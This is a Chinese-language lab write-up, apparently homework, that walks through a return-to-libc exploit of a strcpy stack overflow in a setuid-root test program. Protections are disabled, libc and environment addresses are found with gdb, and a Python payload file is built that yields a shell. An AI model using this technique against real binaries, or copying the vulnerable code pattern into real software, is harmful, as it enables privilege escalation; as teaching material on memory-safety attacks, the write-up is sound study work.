使用Return2LibC利用栈溢出漏洞
环境:ubuntu16.04, gcc, gdb,
说明:为了成功实现Return2LibC攻击,这里关闭了可执行栈、关闭了StackGuard、关闭了地址随机化,终极目标是执行 system("/bin/sh")
1. 存在栈溢出漏洞的程序
如下就是我们的测试代码homework2.c
,使用strcpy函数,但却没有判断字符串长度,存在栈溢出漏洞。
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int vulfunc(char *str)
{
char buffer[25];
strcpy(buffer, str);
return 1;
}
int main(){
char str[500];
FILE *badfile;
badfile = fopen("badfile","r");
fread(str, sizeof(char), 400, badfile);
vulfunc(str);
printf("Returned properly\n");
fclose(badfile);
return 0;
}
然后编译上述代码,关闭可执行栈、关闭StackGuard、关闭地址随机化
gcc -fno-stack-protector -z noexecstack -g -o homework2 homework2.c
然后关闭地址随机化
sudo sysctl -w kernel.randomize_va_space=0
然后修改文件拥有者和文件属性,文件拥有者修改为root,文件属性设置为4755:① 文件所有者可读可写可执行;② 与文件所有者同属一个用户组的其他用户可读可执行;③ 其它用户组可读可执行;④ 其他用户执行文件时,具有与所有者相当的权限。
sudo chown root homework2
sudo chmod 4755 homework2
2. 准备Return2LibC攻击所需地址信息
首先需要找到两个libc函数,system和exit(system用于执行我们的恶意指令,exit用于正确退出程序),使用gdb调试程序,然后打印处这两个函数的地址,如下图所示,system函数位于0xb7e43da0,exit函数位于0xb7e379d0
然后我们还需要找一个"/bin/sh"字符串,这就有很多方法(直接暴力搜索内存或者环境变量等等),这里使用环境变量。
我们使用如下程序获得环境变量地址
#include<stdio.h>
int main(){
char * shell = (char *)getenv("MYSHELL");
if(shell){
printf(" Value: %s\n", shell);
printf(" Address: %x\n", (unsigned int) shell);
}
return 1;
}
创建一个环境变量,并执行上述程序,可以看到地址为0xbffffe68,在我们运行homework2程序时可能并不是这个地址(可能和程序名称长度等等因素有关)
使用gdb调试测试程序,然后查看栈中内容,就能找到我们的环境变量,地址为0xbffffe58,这才是我们需要的地址。
x /500s $esp
然后我们还需要找到需要覆盖的ret的位置(eip),我们向缓冲区覆盖连续的字节。然后查看eip的值即可,脚本如下:
import sys
# fill content with none zero values
content = bytearray(0x01 for i in range(100));
for i in range(100):
content[i] += i
badfile = open("badfile", "wb")
badfile.write(content)
badfile.close()
可以看到eip的低字节为0x26=38,也就是需要在缓冲第38个字节开始覆盖system地址
3. 进行Return2LibC攻击
在函数调用过程中栈空间如下图所示
我们使用缓冲区溢出漏洞,使用buffer变量覆盖栈空间,将返回地址填充为system函数,进入system函数后,其返回地址填充为exit函数地址,这样程序就能正常结束,再往上就填充system传入参数即可(即“/bin/sh”)
然后我们结合上述得到的地址信息,使用如下脚本就能得到恶意输入badfile
import sys
# fill content with none zero values
content = bytearray(0xaa for i in range(300))
# for i in range(100):
# content[i] += i
# address of "/bin/sh"
a3 = 0xbffffe58
# write to ebp+12
content[45:49] = (a3).to_bytes(4, byteorder='little')
# address of exit
a2 = 0xb7e379d0
# write to ebp+8
content[41:45] = (a2).to_bytes(4, byteorder='little')
# address of system
a1 = 0xb7e43da0
# write to ebp+4
content[37:41] = (a1).to_bytes(4, byteorder='little')
badfile = open("badfile", "wb")
badfile.write(content)
badfile.close()
得到的badfile如下
然后我们使用gdb调试homework2程序,start开始程序(在main函数停下),然后c运行,可以看到我们成功运行了system(“./bin/sh”),得到了一个shell
大功告成🙂